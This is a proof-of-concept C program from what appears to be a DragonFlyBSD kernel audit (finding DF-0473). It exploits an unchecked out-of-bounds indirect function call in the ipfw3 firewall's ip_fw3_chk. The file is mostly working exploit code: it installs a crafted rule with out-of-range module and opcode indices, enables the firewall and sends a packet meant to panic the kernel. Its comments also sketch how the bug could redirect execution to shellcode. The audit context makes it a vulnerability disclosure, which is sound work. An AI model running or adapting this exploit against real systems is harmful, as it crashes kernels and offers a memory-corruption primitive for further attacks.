DragonFlyBSD Kernel Audit
DF-0473 / oobcall.c
← back to finding ↓ download raw
/*
 * DF-0473 - Out-of-bounds indirect function call in ip_fw3_chk (CWE-129/787)
 *
 * sys/net/ipfw3/ip_fw3.c:506-507:
 *
 *     (filter_funcs[cmd->module][cmd->opcode])
 *         (&cmd_ctl, &cmd_val, &args, &f, cmd, ip_len);
 *
 * filter_funcs is declared at ip_fw3.c:163 as
 *
 *     filter_func filter_funcs[MAX_MODULE][MAX_OPCODE_PER_MODULE];
 *
 * with MAX_MODULE=10 and MAX_OPCODE_PER_MODULE=100 (ip_fw3.h:94), i.e. a
 * 1000-entry array.  cmd->module and cmd->opcode are uint8_t (0..255) and are
 * NEVER bounds-checked anywhere: not in ip_fw3_ctl_add_rule() (which only
 * validates the total sopt_valsize, ip_fw3.c:956-957) nor in the rule-eval
 * loop (ip_fw3.c:493-507).  A rule whose cmd[0] carries module>=10 or
 * opcode>=100 therefore indexes past the 1000-entry array, reads an
 * arbitrary kernel pointer, and CALLS it.
 *
 * This PoC is the *clean* DF-0473 demonstration: it installs a correctly
 * sized rule (cmd_len=2 == one 8-byte instruction, act_ofs=0, full data
 * supplied) whose single instruction has module=0x80 opcode=0x80.  It does
 * NOT rely on the DF-0472 cmd_len=255 over-read; the OOB index is supplied
 * directly and explicitly by the rule author, so this bug survives even a
 * full cmd_len validation (the DF-0472 fix).  After installing the rule we
 * enable the firewall and send one UDP packet; ip_fw3_chk evaluates the rule,
 * does filter_funcs[0x80][0x80] -> entry 0x80*100+0x80 = 12928 (12828 entries
 * past the array) -> wild pointer dereference -> kernel panic (trap 9 / 12).
 *
 * THREAT MODEL / PRECONDITIONS (honest):
 *   - Triggering is ROOT-ONLY: the rule-add path (IP_FW_X / IP_FW_ADD) needs
 *     a raw socket (root) and the ipfw3 KLD module loaded.  There is no
 *     unprivileged-user privilege boundary to cross here; the value is the
 *     kernel memory-corruption primitive (CWE-129 OOB indirect call), not LPE.
 *   - On this guest SMEP/SMAP/KASLR are OFF, so a heap-grooming chain that
 *     lands a chosen value at filter_funcs[0x80][0x80] would redirect the
 *     call to userspace shellcode; demonstrated here at the panic (DoS)
 *     level.  Because the trigger is already root, the LPE chain is moot.
 *
 * Build: cc -Wall -o oobcall oobcall.c
 * Run  : ./oobcall   (as root, with ipfw3.ko loaded).  EXPECT: kernel panic.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define MY_IP_FW_X              49      /* in.h:389 */
#define MY_IP_FW_ADD            50      /* ip_fw3.h:372 */
#define SIZE_OF_IPFWINSN        8       /* ip_fw3.h:85 */

/* Mirror of ipfw_insn (ip_fw3.h:124-132): 8 bytes, 2 x uint32 words */
typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1;
                 uint8_t module; uint8_t arg3; uint16_t arg2; } my_insn;
/* Mirror of ip_fw_x_header (ip_fw3.h:366-369) */
typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header;
/* Mirror of the fixed prefix of struct ipfw_ioc_rule (ip_fw3.h:343-358)
 * up to and including cmd[0].  sizeof == 40 (== sizeof(struct ipfw_ioc_rule)). */
struct my_ioc_rule {
        uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum;
        uint8_t  set;      uint8_t  insert;  uint32_t sets;
        uint64_t pcnt;     uint64_t bcnt;    uint32_t timestamp;
        my_insn  cmd;                                  /* cmd[0] only */
};

int main(void) {
        int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (s < 0) { perror("socket raw [needs root]"); return 2; }

        /* ---- build the IP_FW_ADD(IP_FW_X) request ------------------- */
        unsigned char buf[sizeof(my_x_header) + sizeof(struct my_ioc_rule)];
        memset(buf, 0, sizeof(buf));

        my_x_header *xh = (my_x_header *)buf;
        xh->opcode = MY_IP_FW_ADD;          /* ip_fw3_ctl_x -> sopt_name */
        xh->_pad   = 0;

        struct my_ioc_rule *r = (struct my_ioc_rule *)(buf + sizeof(my_x_header));
        r->act_ofs = 0;                     /* valid: 0 < cmd_len        */
        r->cmd_len = 2;                     /* valid: 2 words == one insn */
        r->rulenum = 0;                     /* auto-numbered             */
        r->set     = 0;  r->insert = 0;  r->sets = 0;
        r->pcnt = 0; r->bcnt = 0; r->timestamp = 0;
        r->cmd.opcode = 0x80;               /* OOB opcode  (> 100)       */
        r->cmd.len    = 2;                  /* F_LEN=2, advances 2 words */
        r->cmd.module = 0x80;               /* OOB module  (> 10)        */
        r->cmd.arg1 = 0; r->cmd.arg3 = 0; r->cmd.arg2 = 0;

        printf("[*] DF-0473: installing CORRECTLY-SIZED rule (cmd_len=2) "
               "with cmd[0].module=0x80 opcode=0x80\n");
        printf("[*] sopt_valsize after x_hdr strip = %zu (in [32,1020], "
               "passes DF-0472's cmd_len check)\n", sizeof(struct my_ioc_rule));

        size_t addlen = sizeof(buf);
        int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, buf, addlen);
        printf("[+] install OOB-index rule: rc=%d %s\n", rc,
               rc ? strerror(errno) : "(rule installed)");
        if (rc) { printf("[!] add failed -- cannot proceed\n"); close(s); return 1; }
        close(s);

        /* ---- enable the firewall so ip_fw3_chk runs on next packet -- */
        printf("[+] enabling firewall (net.inet.ip.fw3.enable=1)...\n");
        fflush(stdout);
        system("sysctl net.inet.ip.fw3.enable=1");

        /* ---- one packet -> ip_fw3_check_out -> ip_fw3_chk ------------ *
         *  -> filter_funcs[0x80][0x80] -> wild call -> PANIC            */
        printf("[+] sending trigger packet (expect kernel panic now)...\n");
        fflush(stdout);
        int u = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        struct sockaddr_in dst;
        memset(&dst, 0, sizeof(dst));
        dst.sin_family      = AF_INET;
        dst.sin_port        = htons(9);                 /* discard */
        dst.sin_addr.s_addr = htonl(0x7f000001);        /* 127.0.0.1 */
        sendto(u, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
        usleep(300000);
        /* if we reach here the firewall did not panic on that packet */
        printf("[!] no panic observed on trigger packet\n");
        close(u);
        return 0;
}